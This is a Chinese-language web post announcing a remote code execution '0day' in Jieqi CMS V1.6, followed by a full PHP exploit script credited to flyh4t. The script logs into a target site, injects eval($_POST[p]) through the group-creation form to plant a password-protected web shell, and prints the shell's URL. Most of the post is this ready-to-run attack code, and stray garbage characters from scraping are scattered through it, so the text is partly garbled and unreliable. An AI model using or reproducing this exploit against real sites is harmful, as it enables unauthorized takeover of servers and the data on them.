Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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5 O3 I2 V1 `4 @: e) J. U+ n3 v该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
2 H/ _, x$ |4 | 需要有一个能创建圈子的用户。
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<?php
; L" b# m& ]: x8 F9 p/ {
, X+ X. n7 ^. G  Sprint_r('
8 P+ p* D# P+ s+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
. X( I( c# M/ _$ k7 X$ `mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
5 B, l! \+ k  A0 [0 h) S*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
4 y0 Q5 Y8 S2 ]Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
2 Y* p* n6 H, K& c- G! K2 Vpath:      path to jieqicms
uasename:  a username who can create group
Example:
& I; j8 H1 ^3 ?8 dphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
: e1 s4 K; u6 _2 y'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
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'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
1 l5 g$ t( V" {- {8 [; B& ^# M-----------------------------23281168279961
& ]5 x( @0 i2 k* n* C) G( v+ ]; MContent-Disposition: form-data; name="gcatid"
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1
, Q: w  k$ U/ j7 k- D-----------------------------23281168279961
: v5 D: @' K3 Q9 G6 T; BContent-Disposition: form-data; name="gaudit"

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* F) L1 v( e- [+ I. z- c-----------------------------23281168279961
* z; w$ f# k1 e4 i& R" bContent-Disposition: form-data; name="gbrief"
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-----------------------------23281168279961--
8 O, t- D0 H- \% q" z4 N, R0 _% P'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;